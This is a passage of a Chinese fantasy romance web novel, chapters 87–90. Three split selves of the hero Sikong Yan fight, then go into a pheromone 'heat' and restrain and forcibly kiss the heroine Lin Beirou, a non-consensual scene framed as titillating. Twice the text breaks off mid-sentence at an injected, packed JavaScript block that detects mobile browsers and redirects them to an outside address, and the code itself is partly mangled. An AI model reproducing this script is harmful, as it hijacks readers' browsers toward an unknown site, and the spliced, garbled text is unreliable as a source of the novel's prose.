林北柔颤抖着问:“这里是胜身洲吗?” 荀照乘:“不是,是很多神话和经书上记载的过去世界的残存,是大洪水之前还要更早的世界。” 林北柔:“司空晏在哪里?我们必须找到他才行!” 荀照乘还是没有回头:“刚刚说了,他死了,我没有开玩笑。” 林北柔再度僵住,她不愿意相信,荀照乘的语气却不像开玩笑,她下意识看向新垣鑫。 新垣鑫落后两步,走到她旁边,点了点头:“那个三号,是个老怪物,年纪比我们大得多,活了几万岁了,司空晏没了修为,和他对上,死了也不奇怪,他知道有今天,才把自己元神弄出了三等分,别难过。” 他最后一句有点微妙,像是在吃醋一样,补充了一句:“我们活着,司空晏就活着,我们就是司空晏,倒不如说,我才是原来那个司空晏。” 荀照乘和司空晏的元灵都是后来重塑的,元灵是元神之核,新垣鑫的元灵才是最初的那个。 凭什么其他两个占据先机,就要剥夺他的记忆?让他以武修的身份,无知无觉地活了那么久,和林北柔相遇最晚。 林北柔感觉脑细胞都要烧光了,胸口火辣辣的,眼睛也酸胀起来,不肯接受她熟悉的那个司空晏死亡的事实。 新垣鑫:“……你别哭。” 眼泪却不听使唤,争先恐后掉落出来,她想起来了,司空晏作为魏瑕都为她和周阆屿做了什么。 林北柔:“我要去找他!” 新垣鑫面无表情:“不行。” “他没有死!不可能死……”声音微弱了下去。 荀照乘突然停住脚步,前方大雪纷飞,白茫茫的雾气中,出现了一个慢吞吞拖着步子出现的人影。 “谁说我死了?”那个人影缓缓地开了口。 林北柔蓦地抬起头。 杀机如雪飘落,裹住了三个极度相似的人影,林北柔感觉到了不同寻常的气氛,刹那噤声。 三个元神分体都恢复了全部记忆,每个人都认为自己才是真正的司空晏。 都想杀死其他两个。 88. 第 88 章 司空晏像鬼魅一样瞬息间移动到了荀照乘面前,伸手去抢林北柔。 新垣鑫用出了同样的身法,挡住了司空晏的手,于是一场三人群架就开始了。 林北柔感到自己被荀照乘放在了旁边,他把一件法器插在雪地里,法器发出热量,迅速融化了雪,烤干了地面,让林北柔保暖,然后他就回去加入了战局。 林北柔仿佛看到了胜身洲三个重合起来的影子。 她想起来了,她最长时间出走的那次,先后遇到了荀照乘和新垣鑫,她不知道他们是司空晏的元神分体。 他们三个人一起旅行了很长一段时间,后来司空晏出现,三个人打了几天几夜,司空晏才强行把他们回收进了元神,之后很久,司空晏会时不时被另外两个占据一下,随机出现荀照乘或者新垣鑫人格。 玉衡星君司空晏,轻驰宗青年兵修荀照乘,坠雷渊锻体武修新垣鑫。 这是司空晏漫长人生中的三段自我。 荀照乘是他充满了鲜血和磨难的过去,新垣鑫是他本来可以抵达的没有苦难的未来。 新垣鑫甩出了本命法器,一把类似□□的兵刃,看上去像寒冰做的,上面缠满了黑色的雷电,冲上去和司空晏颤斗在一起。 荀照乘没有说话,他一直是更沉默的那个,只是不断和司空晏交手。 他的武器是一把重剑,双手持握,挥起来却感觉没有重量。 司空晏有无上清凉心剑诀,之前和三号消失了一段时间,可能暴揍了三号,抢来了一些修为,现在他随手一挥,就抽出了一把月光一样的长剑,碎虚心剑。 “你们两个已经完成了使命,可以去死了。”司空晏恶毒地说。 新垣鑫原本爽朗的音色渐渐向司空晏靠拢,却没有那种特有的阴间感:“你夺走了我们的名字,我们的脸,为了不让林北柔移情别恋,你故意毁了荀照乘的容,然后改变了我的容貌。” 他一把扯下了面罩,风雪变大,他的头发变长了一些,到脖子后面的长度,参差不齐,恰好是典型武修的发型,他的容貌变回了司空晏的样子,只不过肤色没变,还是风吹日晒过,看着有种砂砾之美,他的眼睛和司空晏不太一样,因为修习了坠雷渊的心法,带一点金珀光晕,黑色瞳眸中有很小的金色光点。 新垣鑫:“如果不是林北柔来救我们,我们真的会像你计划的那样,被杀死,然后被你回收。” 林北柔暂时没力气起来,卧倒在雪地上,目瞪口呆地看着。 三个司空晏,正在打架,争夺元神的主导权。 一个是从凡人成长起来被投入过炼丹炉的司空晏,一个是她最熟悉的阴间祖宗,一个是拥有最初元灵、被夺走了记忆、没有成为剑修而转为武修、失去和林北柔邂逅机遇的司空晏。 新垣鑫:“司空晏这个名字,元神,还有碎虚剑,不是你一个人该主宰的,我们不是被你利用的工具。” 他话音未落,阴间祖宗版司空晏就爆发出一串疯了似的高亢笑声。 “你们太软弱了,连争抢都不敢用最脏的手段,才会被道心本相那种东西压制,而我,压制了道心本相,我才配称司空晏。”阴间祖宗慢腾腾地说,即使脸上和身上被荀照乘用重剑划出了血痕,还是那个欠揍到极点的样子。 荀照乘并不言语还击,他的回应是更没有节制的进攻,司空晏居然在他的进攻下出现了败退迹象,头上和身上都遭到了好几下重击,看得林北柔心脏每次都跟着抖一下,当然,司空晏有回击,他的回击更狠,落在荀照乘和新垣鑫身上,同样是出血内伤的那种,林北柔也是同样心理反应。 纯粹的暴力,带着剑修和武修的美学,没有任何过滤落在她视网膜,进入了她的精神世界。 到最后,林北柔迟钝了好一会儿才反应过来,三方居然不知什么时候都扔掉了武器,以拳脚代替,变成了肉搏,因为三个人的武术和体术都是化境巅峰,没人能从这种流动的暴力中逃脱,林北柔只能在一旁看着,连眼睛酸了都不敢眨眼。 荀照乘终于开口,说了第一句话,声音低沉暗哑:“去死。” 黑暗压抑窒闷的愤怒,像层层岩石下流动了万年的岩浆,即将爆发。 林北柔心里有一万头羊驼狂奔而过,千言万语无数感情化作一句经典台词,你们别打了!!!! 她情绪稍有激动,后脖颈突然传来强烈的痒痛,林北柔闷哼一声,难以描述的热痛击中了她,冲刷她全身,她疼得蜷缩起来,捂着脖子,不断抽气。 和她有感应的三个司空晏同时停下,就像复制人一样整齐同步,旋即朝林北柔冲了过来。 林北柔视线模糊,风雪遮蔽了天地,她只能看见三个高大人影朝她本来,下一秒就失去了知觉。 跳动的橘红,温暖的炉火,身下暖烘烘的,枕着的东西也很软,盖着的毯子包裹全身,很舒服。 失去了思考,失去了焦躁担忧,只是沉浸在这种轻飘飘暖洋洋的感觉。 当一只在冬日壁炉旁边打盹的猫,可能就是这样了。 林北柔睁开眼之前就恢复了大半知觉,那种温暖的感觉太舒服了,就像在家里睡觉一样,让她迟迟不想睁眼,直到脖子上突然传来一阵热痛。 “唔嗯!”林北柔闷哼一声, 她刚发出声音,一只手就伸了过来,好像一直等在那里一样,揭开她的毯子,将她头发撩起,露出后脖颈,然后一袋冰冰凉凉的东西压了上去,缓解了那种痒到发狂的热痛。 林北柔睁开眼,荀照乘……不,兵修版祖宗坐在她面前,视线比她高一点,正在照顾她,见她醒了,眼神落在她脸上,林北柔瞬间脸颊发烫,脑子晕晕乎乎的,她这个反应绝对不正常。 荀照乘的气息,就像什么信息素炸·弹一样,瞬间将她包围,拉入其中,侵入她的肺腑,顺着血管流,松柏寒雪的冷意,灵木燃烧后的灰烬,胜身洲的千瓣腊梅的香气,幽冷辛凉,和司空晏一模一样,不同的是还有一丝矿香和火暖香气,那是太乙天都炼丹炉内部经年累月的香气。 林北柔不敢呼吸,闭住气问:“怎么回事?” 荀照乘的反应却比她更大,他眼睛深不见底,动作充满了克制,仿佛靠近林北柔花光了所有自控力,胸口起伏明显,他鼻翼动了动,林北柔忽然意识到他是在不自觉地呼吸她身上的味道。 荀照乘:“之前那个巨影,会散播孢子,改变元神弦振,让人长出一种腺体。”他解释到一半,突然闭气调整呼吸,像是林北柔的信息素对他来说过度饱和了一样,他耳廓连同脖子都出现了潮红,低头说:“抱歉,我稍微过去一会。” 不用再解释,林北柔也听懂了,这不就是小说里才有的事吗,震惊之下,另一个人过来坐到了她面前,他动作不紧不慢的,脸色比较苍白,同样高大,气息是林北柔最熟悉的那个。 魏瑕,也就是阴间版司空晏,脸上还带着伤,接手了荀照乘没有完成的工作,把一碗冰冰凉凉的药膏敷在了林北柔的后脖颈上,林北柔瞬间感觉到新长出的腺体前所未有地舒适,差点让她像一只被摸到毛的猫咪,咪咪叫起来,这是一种生理反应,无法靠意志扭转。 看到林北柔趴在枕头上尴尬羞耻死死用双臂闷住嘴,司空晏嗯了一声,平平淡淡跟她解释:“你是安抚型,我是发热型,信息素和我百分百吻合,也就是说,你发热的时候,需要我来安抚……” 旁边荀照乘的警告声传来:“你敢。” 林北柔看到荀照乘在角落翻找箱子,拿出一管针剂往自己手臂上打,这是间还算宽敞的木屋,外面暴风雪肆虐,屋内空间不受侵扰。 资料上说雪线是深禁区的标识,窗户很小,也能看出外面黑咕隆咚,他们现在在深禁区了。 荀照乘看出了林北柔的疑惑:“这里是第一个安全站点,我们找到了之前的车,所有补给品都搬下来了。” 林北柔看到了车上的禁区手册,她让司空晏帮她拿过来,翻了一会儿。 林北柔:“我这个应该不算发热期?” 司空晏慢条斯理地说:“不算,只是腺体在生长,很正常,真正的发热期不是能靠这些药品控制的。” 怪不得,司空晏身上的气息让她醉醺醺的,却还是能保持清醒。 林北柔环顾四周:“新垣鑫呢?” 虽然他们都是司空晏,为了区分她还是暂时使用不同名字吧。 司空晏眯起眼睛,吃醋道:“他死了。” 林北柔垮起脸:“别乱说,荀照乘,新垣鑫呢?” 荀照乘:“安全站外面需要警戒,他是第一轮值班,顺便让他出去冷静一下。” 司空晏阴恻恻地说:“他如果冷静不下来,我可以帮他手动割掉。” 他动了动手指,波刃切刀在手指间时隐时现,来回滚动,这么薄薄一片却丝毫没划伤他。 林北柔先还疑惑,过了几秒突然听懂了,脸上发热,假装没听懂,默默坐起身,她的外套被脱了下来,里面只穿着黑色保暖衫,长裤还在,鞋子被脱掉了,整整齐齐放在行军床下。 虽然屋内充满了猫薄荷,林北柔还扛得住,只要不是发热期就没事,三个祖宗也都长了腺体,庆幸的是发热型腺体反而不太容易发热,所以他们三个都暂时没事。 林北柔谈起了正事:“现在是什么计划?” 荀照乘:“周阆屿拖住了境外敌军大部队,还有反叛的那些人,比如莫衡他们背后的势力,最大程度减少他们对我们的干扰,三号的精锐势力和我们差不多同时进了深禁区,外面黑风暴快来了,脉冲等级非常高,暂时不能出去,等风暴结束,我们就朝灵脉层进发,寻找太初灵核。” 林北柔点点头,转向司空晏,小心翼翼地问:“三号那边什么情况?” 司空晏:“没杀死,不过我把他底细摸清楚了。” 他眉宇间流露出一丝阴嗖嗖,显然对自己没能把三号杀死很不满意。 荀照乘开了口:“他是谁?” 司空晏:“另外一个天外世界的,更原始蛮荒,他想在深禁区打开那个世界的入口,那边有很多……怪物。” 司空晏的表情有点奇怪,像是有点兴趣,又更多的是厌恶。 荀照乘:“他邀请你加入了?” 司空晏不怀好意地瞥了他一眼,没有说话,他和荀照乘、新垣鑫谁也打不过谁,只能暂时休战,并不意味着他们彼此看得顺眼,就像人的大脑里,总有多个互相矛盾交战的想法。 林北柔震惊地看着司空晏,这种反派计划听着就像是司空晏感兴趣的,司空晏本人很喜欢体型庞大拥有原始力量的魔兽,所以他经常去征讨魔域,带回了很多魔兽,丢给专门的人饲养,让他们培育出最优良的战斗坐骑。 林北柔嘴角微微抽搐:“你不会真的答应了吧?” 司空晏:“你害怕吗。”他抬起手,拇指指腹捺过林北柔的脸颊。 一把重剑嗡一声出现,缓缓旋转着对准了司空晏的太阳穴,还自带金属震荡音效。 荀照乘冷冰冰地说:“别动手。” 林北柔以为下一秒就要打起来了,却见司空晏不在意地放下了手,林北柔忽然意识到,他们三个人之前打完架,看到她晕过去了,估计是达成了什么平衡,谁都不会先碰她之类的。 木屋大门发出沉重的门栓拨动声,门被打开了三分之一,高大人影进来了,关上门,确认门被关好后,披着一身冰霜转向屋内,目光和林北柔对上。 林北柔:“新垣……你没事吧?” 新垣鑫居然躲闪了下林北柔的目光,然后仔细地把面罩戴好,似乎是在隔绝气味素的传播,他眨了眨眼睛,睫毛上也有雪花:“结界外面五百公里有一大群东西在靠近,不清楚是敌对势力还是禁区生物,速度很慢,抵达安全站还有一个半小时。” 荀照乘:“黑风暴结束还有两个小时。” 新垣鑫:“那就提前半个小时出发。” 荀照乘皱起了眉。 司空晏轻哼一声:“没用的东西,都说了,我把你们回收了,什么黑风暴都不用管,直接进深禁区就行了,现在纯粹浪费时间。” 新垣鑫走到炉火边,拿起一瓶水喝,毫不客气地怼回去:“你怎么不说让我们把你回收了?” 空气里火·药味开始浓厚,林北柔看看这个,看看那个。 司空晏幸灾乐祸地看着新垣鑫:“自然是你打不过我,你们两个加起来都打不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596674|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,弱者才抱团,否则你们两个自己已经打起来了,现在假装和平是在骗谁呢。”他每句话都很轻柔,煽风点火的,听得人牙根发痒。 新垣鑫却没上当,他走到林北柔床尾处坐下了,看着坐在林北柔床头旁边的司空晏,语气缓慢:“哦?你这么强,那你怎么不把我们回收回去?” 司空晏破天荒没有马上接话,新垣鑫和荀照乘暂时打不过他,是因为无上清凉心剑诀和碎虚剑都在他这边,他没办法回收新垣鑫和荀照乘,则是因为他修为不够,受了很重的反噬。 为什么受了很重的反噬,是因为他多次回溯了时间,每一次都是为了林北柔。 林北柔意识到了这一点,手下意识按在了司空晏胳膊上:“你身上是不是有伤。” 司空晏告状:“都是被他们两个贱人打的。” 林北柔:“……”你这不是自己骂自己吗,这话她怎么接。 司空晏开始解开作战服:“伤的很严重。” 新垣鑫把手上喝光的水瓶砸了过去,司空晏侧了下头,水瓶砸到对面墙上,司空晏翻了个白眼。 新垣鑫对林北柔说:“别理他,他好好的,这个人阴间得很,专门往我命门招呼,他是真想杀了我们。” 荀照乘懒得开口,他看上去并不想参与他们的口舌意气之争。 别看荀照乘是凡人时期走过来的司空晏,反而是最稳重的。 林北柔:“你们三个都受伤了吗?” 三个人都望向她。 林北柔咳了咳:“你们先坐好,我给你们疗伤,不准打架不准吵架。” 新垣鑫:“不行,你自己伤都没好。” 林北柔刚想说什么,司空晏突然毫无征兆地倒在了地上。 他眼睛紧闭,脸色慢慢泛红,又血色消退,身体在微微颤抖。 林北柔:“司空晏!” 新垣鑫觉得司空晏在假装,走过去查看他的情况,荀照乘突然觉察了什么:“别过去——” 晚了,新垣鑫弯腰碰了下司空晏的肩膀,突然全身僵硬,好像被传染了一样也倒了下去。 林北柔:“怎么回事!” 她立即从床上跳了下来,却听见身后沉重的一声闷响,荀照乘也倒在了地上。 林北柔手忙脚乱了两秒,冷静下来挨个检查他们的情况,不管是哪个,体温都高得吓人,而且眉头紧皱,怎么喊都喊不醒,林北柔想到了什么,拿起刚才翻出来的禁区手册,顺着目录查找。 “新生发热型腺体不宜处于冷热温差过大的环境,比如从零下摄氏度到二十多度,或者在室温过高的环境待太久,否则很可能会诱发发热期。 “普通发热型腺体为A型,形状大都为椭圆,大小不一,可通过通用冷抑剂注射散热,每隔一个小时注射一次,三次后可完全排除症状。 “E型发热型腺体除外,E型为千亿分之一罕见概率腺体,非人类范畴,形状和普通型不同,无法靠冷抑剂散热,必须在半个小时之内进行散热,否则会进入狂乱状态。” “所有发热期的表现为体温升高,呼吸急促,心率加速,性反应完全化,E型发热型经过腺体进化的生理构造更加强大,产生的反应更持久,也更不容易靠自渎等辅助消退,需要高度适配的安抚型进行精神和身体安抚。” 底下是几行字,阐述了E型腺体的特征,林北柔怀着不详的预感,解开了离她最近的荀照乘的衣领,拉下领子查看他的后脖颈。 腺体位置一般在后脖颈和背部连接的地方,有的人会靠上一些,有的人会靠下一些。 深红的腺体形状浮现,凸出皮肤,形状像一把钥匙,圆片部分像个爱心,长条部分朝下,尾端像恶魔尾巴,随着呼吸节奏,在微微弹跳,边缘不齐,看着有一点狰狞,并不难看,反而有种莫名让人脸红的侵略感,让人看了一眼就不敢再看,却着魔一样移不开视线。 “这什么东西……”林北柔忍不住吐槽。 林北柔又看了司空晏和新垣鑫的,他们的腺体和这个一模一样。更证明他们本是一人。 三个腺体同时发热,爆发出的信息素充斥了安全屋,林北柔就算戴上面罩,也吸入了很多,更无法解释的是,她能区分出三个人的信息素。 司空晏和荀照乘不必说了,新垣鑫的气味基调和他们一样,多了苔藓和浆果的气息,听说坠雷渊在植被十分茂密气候温暖的地方。 林北柔用荀照乘的通讯器给自己后脖颈拍了张,点开屏幕放大,她的腺体更粉,更小,形状有点奇妙,像是两根分开的卷须,下端连在一起形成个杏仁形,没有司空晏的大。 资料上说,必须高度适配的腺体才能进行安抚,而检测是否适配有个特别简单的办法。 林北柔找到了医用无菌棉签,咬牙轻轻在自己腺体上擦了一下,敏感得她全身一抖,腺体的神经束稍丰富到难以想象,比人体全身神经束最多的地方还多好几倍,怪不得资料上说平时最好用专用的软布把脖子下边遮起来。 林北柔将棉签轻轻靠近司空晏后脖颈上的腺体,腺体感应到了她的信息素,突然充血肿胀,一下一下地跳动着,像有生命一样,吓得林北柔赶紧把棉签扔到房间另一头。 司空晏突然睁开眼睛,本来无力的躯体肌肉绞紧,坐了起来,这么厚的衣料都能看清他肱二头肌的伸缩,他目光黑沉沉的,瞳孔张缩,锁定在林北柔身上,鼻翼轻轻翕动,不停嗅闻空气中林北柔的味道,林北柔不知道自己信息素是什么味,司空晏的眼睛让她全身暴起一层鸡皮疙瘩。 林北柔僵硬地慢慢地退后,一只手抓住了她的脚踝,林北柔惊恐低头,发现是荀照乘,他也像是失去了理性只被原始本能驱动,目光幽幽地盯着林北柔,指节力沉似铁,似乎要在她脚踝上烫出一圈红印。 老天他这是在发烧吗他手怎么会这么烫!林北柔想抽出脚,却怕引起他更大的动作,只好一动不动。 新垣鑫也睁开眼睛,坐了起来,和其他两个一样,他彻底无视了其他两人,好像整个空间只剩下林北柔一个人,他的全部注意力都集中在了她身上,像猎手看到了唯一合心意的猎物。 三个人,三道视线,像贯穿了她的身体,落在她身上。 89. 第 89 章 林北柔第一个想法是,完了,要被艹了。 第二个想法是,快跑。 她是这么想的,身体也是这么做的,脑海空白地冲向了安全屋门口,只要她冲出去,外面禁区的环境应该会让那三个人冷静下来……吧? 林北柔无法思考的大脑是这么想的,被天赋加强的体能让她动如脱兔,一下子就到了门口,厚重的大门上面有长条合金门栓加固,只要按下按钮就能开启全部门栓。 她的手离拍到按钮只剩0.1秒的距离。 “你想去哪里?”一道阴凉又炽热如岩浆的声音炸响在她耳边,下一秒她被拦腰抬起,天旋地转之间,她被放倒在了壁炉前的厚厚地毯上,信息素铺天盖地压下来,林北柔失去了视觉,眼前大片大片黑斑晕开,呼吸滚烫,全身发软,根本提不起力气, 有三个人同时压制住了她,她的手脚关节都被掌控了,三双手分别控制了她的上半身和下半身,林北柔想起了魇铃副本,那时光一个Alpha祖宗就够恐怖了,现在这里有三个,林北柔陷入恐慌中。 “把她翻过去。”这个声音是荀照乘的,听上去冷静到让人心脏发颤,他在她左上方。 有人握住了她的腰,将她翻了过去,把她的长发撩了起来,露出后脖颈,林北柔新长出的腺体柔嫩地跳动着,落入三双眼睛里,就像一块美味可口的小蛋糕,刚刚出炉,香气诱人。 明明之前还打到昏天黑地恨不得其他人立即原地消失,现在三个人却达成了一致意见,不需要语言交流,动作默契,林北柔的双手被锁在了背后,有人在她脸下和肚子下放了枕头,调节她的重心,林北柔想喊,却只能发出哼哼唧唧的声音,三倍信息素对她造成的影响让她害怕,她竟然开始渴望接下去的未知。 这就是腺体的可怕之处,它会毁掉人类的理性,让人被原始欲驱动,抛弃一切自尊和羞耻,只剩下急切想被满足的需求,模模糊糊的念头跳出来,是腺体在渴望被满足,不是她。 林北柔甚至没有感到痛苦,连腺体被信息素刺激到产生的烧灼疼痒,都是一种精神和身体的双重愉悦。 林北柔感到宽阔坚实的胸膛贴上了她的后背,有人从后方倾近,滚烫的呼吸落在她脖子上,她寒毛倒竖,神经敏感到了极点,甚至开始疼痛,直到对方的犬牙轻轻压在了她的腺体上。 林北柔发出了一声自己都陌生的动静,好像奶猫哭泣,还没来得及扛过这波冲击,下一秒腺体就被舌面重重刷扫而过,然后再度被咬住,这次对方控制着口腔,没有一丝空气,林北柔的腺体就像被什么迷你真空吸尘器给吸住了,只是吸尘器里面是人类的口腔,粘膜健康而红润,因为不正常的发热而陷入高温。 林北柔就这样被按着,被三个人轮流趴在她背上咬她腺体,感觉好像成了一只香喷喷的行走的血包,供三个吸血鬼狂饮,她紧张了半天,发现自己并没有被脱掉衣服,也没有其他的肢体接触。 林北柔侧脸贴在枕头上,渐渐感觉迷惑。事情和她想的有出入,她没有被艹? 三个祖宗仅仅就是把她可怜的腺体欺负得一团糟,像挤海绵一样试图挤压它,林北柔的信息素被迫释放了好几轮,好像还没完全展开的花瓣被迫把花蕊上的花粉洒出来一样,蜂群狂喜乱舞,在空中跳着求偶舞蹈。 光是一个司空晏就够恐怖了,更别提还有两个,林北柔的身体很柔软,不能承受他们每个人的体重,否则她肺部都会被压迫,呼吸困难,他们就算进入了发热期,动作也保持了冷静,手臂支撑在她身体两侧,保持核心抬升,不至于完全压在她身上。 就算如此,林北柔还是和他们有巨大的体型差,就像一只大体格的狼王把一只小兔子薅到自己毛绒绒的腹下,又揉又亲,兔子都快团成球了,像淋雨一样瑟瑟发抖,除了狼王柔软厚实的毛发和巨大的爪垫下,无处可躲。 林北柔每个刚升起要成形的念头,都半途融化了,像被过度加热的奶油泡芙,软塌了下去,她忘了要说什么,要做什么,只能趴在那边,后脖颈不断被咬住,被对方汲取信息素,缓解他们自己的腺体热,中途换人的时候,林北柔都分不清谁是谁,只能勉强从信息素辨认,到最后她都没力气辨认了。 偏偏林北柔还不能说什么,毕竟大家都好好穿着衣服,他们仅仅是在欺负她的腺体和后脖颈罢了,就好像三头狼趴在她颈窝,除了不断欺负她的腺体,还迷恋地拿脸和额头对她颈窝又挤又蹭,轻轻地推她,就像什么大型动物在求抚摸。 林北柔的神经突触像快绷断的细绳,编好的线开始一根一根断裂脱落,直到只剩最后一根,被千钧的疼痛式快乐慢慢扯成纤维丝,后脖子的腺体肯定都不能看了,上面留下了激烈的痕迹,不敢想象充血得多厉害,可能还被擦破了皮,不然为什么光是被他们三个吹气,腺体就像只快被吃掉的布丁一样不停跳动发抖,林北柔闻不到自己的信息素,从三个祖宗的反应来看,他们显然深深沉浸其中还没满足。 林北柔打算忍耐一阵子,等他们的腺体发热消退就解脱了,就当是被三只巨型宠物狗勾伏击了,除了被弄一脖子口水,还能怎么样。 元神猝不及防跳痛,第一下,紧接着是第二下。 前两下林北柔还能忍住,到了第三下她喉咙冲出了奇怪的声音,林北柔意识到了严重性。 她的元神不对劲,直到身体核心也开始那种不受控的持续的跳痛,酸胀挛缩像深水炸·弹一样冲击蔓延,林北柔终于明白了过来,腺体被持续“使用”,引发了另一个早就被她忘记的潜伏现象。 她和司空晏作为心誓道侣的情汛。 不不不,别在这个时候,千万不要——林北柔睁大眼睛,瞳孔骤缩,微弱的希望刚刚升起,就像肥皂泡一样被戳碎了,她听到身后沙哑的闷哼,三个祖宗先后发出来的,他们的声音变得很奇怪,像从胸腔发出的隆隆声,和喉咙深处的声音,情汛就像一根红线,两端牵引在他们的元神上,她的这一端被拉扯,他那一端也会瞬间起反应。 于是整件事都会脱轨滑向不可控的方向。用腺体信息素安抚是一回事,其他的就是另一回事了。 林北柔感到一只手先握住了她的腰,手很大,温度惊人,动作并不小心,衣服边缘被挪了上去,指腹按上露出来的腰部肌肤,肯定会出现瘀痕,低哑不成句的声音,似乎是在交流,然后他们把她翻了过来让她仰躺着。 危危危。林北柔像条鱼一样迸发出了最后的力气,还没等她弹起来,就被两双手按住了。 “……亲爱的,别动,请……帮我一下……我不能……”凌乱破碎的音节,从抑制低哑的喉咙和胸膛流出,好像什么混沌异兽刚化成人,第一次含混说话,语气阴柔又甜蜜,像有毒的藤蔓,里面的汁液散发出馥奇的香调,还有种占有欲和恳求混合的极端压迫威慑感,让她全身战栗,软若无骨。 完蛋了。祖宗都开始用跟踪狂的语气说话了,接下去肯定要丧伦败行了。 林北柔自知躲不过去,绝望地讨价还价:“你想杀了我吗。” 炽热的呼吸,炙热的呼吸,同时落在她左边右边耳廓旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727072|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还有压在她正上方沉默的那个。 “……” 不说话才是最可怕的。 一个就应付不过来,三个她肯定会死的。 林北柔脑海空白间,外面突然传来异常动静,听着很远,林北柔竭力运起修为,看向墙壁上的监测屏幕,视野不断模糊又清晰,终于她看清了。 黑风暴来了,还有不知名的袭击者,再过四十五分钟就会抵达,提前了整整一个小时。 他们必须在黑风暴来之前撤离安全屋,否则就会和袭击者正面撞上。 林北柔使劲挣扎起来:“快,快放开我!现在不是做这种事情的时候!”三个祖宗的腺体发热消退了一大半,却又被情汛支配,眼睛幽幽的,每个都变成了最暗黑的版本,粗重的呼吸和起伏的胸膛,铺天盖地的司空晏的信息素,让她嗅觉和感官都全然麻木。 还来得及,他们现在还什么都没有做,她还能抢救一下。林北柔拼命给自己洗脑。 她的脚踝被握住了,修长的指尖顺着小腿往上爬,林北柔细汗都出来了,下一秒就被按了回去,对方柔软的嘴唇不顾一切压在了她的嘴唇上,非常热,非常软,紧接着林北柔就感觉到了刺痛,她拒绝张开的下唇被对方的犬牙咬了一下,因疼痛而松开,对方强势地撬开,舌尖柔软地轻扫进来,缠住她就不放了。 这是个非常热非常软的亲吻,像融化的芝士黄油,让她大脑泡在了蜂蜜起泡酒里,醺醺然,对方的手还很占有地捧着她的脸,手指力道很温柔,另一只手却五指张开,深入她后脑勺的发根,不让她脑袋偏移,她的呼吸和他的鼻息交错,嘴唇扭压在一起,她判断不出亲她的是谁了,不管哪个其实都是司空晏,沉睡中缠绵,清醒又幻灭。 理性和责任在冷冰冰地提醒她。 不悬崖勒马,三号会赢得这场战役,他们会输掉,她会失去自己最想保护的。 司空晏会死,她会死,所有人都会死。 电光火石间,她突然明白了该怎么做,对方弹软的嘴唇还在狠狠亲她,呼吸急促深重,林北柔趁他亲吻间隙,困难地开口:“道心本相,无法无我,爱生忧怖,从前从后,昨日今日,云天水心。” 一句她遗忘很久的口诀,刚刚自然浮现于脑海的。 本来还在痴缠的亲吻,随对方凝固的动作而停住了,林北柔余光看到两个高大的身影倒了下去,像是失去了意识,而她正上方的那个身影胸膛在不断深深起伏,调节呼吸的节奏,他在自我控制。 三个分开的元神暂时归拢在了一个人身上,他缓缓睁开眼,黑魆魆的眼睛冰凉又遥远,那不是司空晏,又是司空晏。 林北柔好久没见到道心本相,差点忘了他还在司空晏元神内。 道心本相版司空晏嘴唇还肿着,残留着亲吻的水泽,像刚摘下的樱桃,脖子也拧起了青筋,血管明显贲张,为了控制住情汛和腺体发热,用尽了全部自制力,张开喘气的嘴颤抖着吁出好几下,旋即紧紧闭上了。 禁欲冷漠,疏离克制,这就是林北柔不太熟却又印象深刻的那个道心本相。 林北柔终于松了口气,为了召唤出道心本相,她更脱力了,那句口诀非常耗费修为,她平躺着,一点都不想动。 她就知道,道心本相是不可能和她进行生命和谐行为的,他的目标就是踏破虚空,飞升成真仙。 道心本相从她身上撑起来,没有完全离开,他目光垂落在林北柔脸上,眼神晦涩难辨。 “……你就这么信我什么都不会对你做?”他缓缓开口。 90. 第 90 章 恢复道心本相的司空晏改变了容貌,银色半长发垂下,发梢搭在肩上,将落未落,弯出弧度。 他的眼神和阴间祖宗也不一样,仿佛经历过漫长永恒的岁月,眼底一片枯井般的灰烬,冷风吹过,底下或许有些橘红,像大火烧过后还没彻底熄灭的余烬。 林北柔看着道心本相,脱口而出:“难道你要……?” 道心本相的锁骨还泛着红,眼睛也因情汛蒙上一层水润的光,看林北柔的眼神却明显沉甸甸的,那是在用尽全力克制,阴间祖宗就不会这样克制。 道心本相深深呼吸了一下,语气冷静地跟她讲道理:“情汛不缓释,会变成热毒,元神会受伤,天道契约会加速延伸。” 他拉开她的衣领,让她看自己胸口,林北柔看见天道契约的记号下方,熔岩一样发光的线又朝心脏蔓延了一点。 林北柔结结巴巴地说:“怎么缓释?” 道心本相冷冷地看着她,好像她在装傻,林北柔脸红了,感觉有点恼火,他凭什么露出这种表情。 林北柔:“你不是一直不喜欢我吗,你不用勉强自己的,就算记号再往下一点,也是我的事。” 道心本相的眉毛拧了起来,嘴唇动了动,仿佛想驳斥林北柔,却找不到开口的理由,忍了回去,嘲讽道:“你好像对我很有意见,怎么,为什么在他面前就乖乖的,像个被拆开的礼物盒子,对我就严防死守?” 他的比喻让林北柔更加恼火了,她想起了一些遥远的往事,这也是为什么她对道心本相敬而远之。 她觉得道心本相很傲慢,比司空晏傲慢得多,阴间祖宗对她和对其他人不一样,在她面前,他完全敞开自己,态度随意又放松,没有任何防她的地方,把她当平等的,但道心本相至始至终都把她当道不同不相为谋的凡人,好像她是什么罪孽的源泉。 林北柔:“因为我当时是在跟司空晏谈恋爱,不是跟你。” 道心本相的嘴角肉眼可见地微微抽搐,露出一个不知是自嘲还是嘲笑她的微笑。 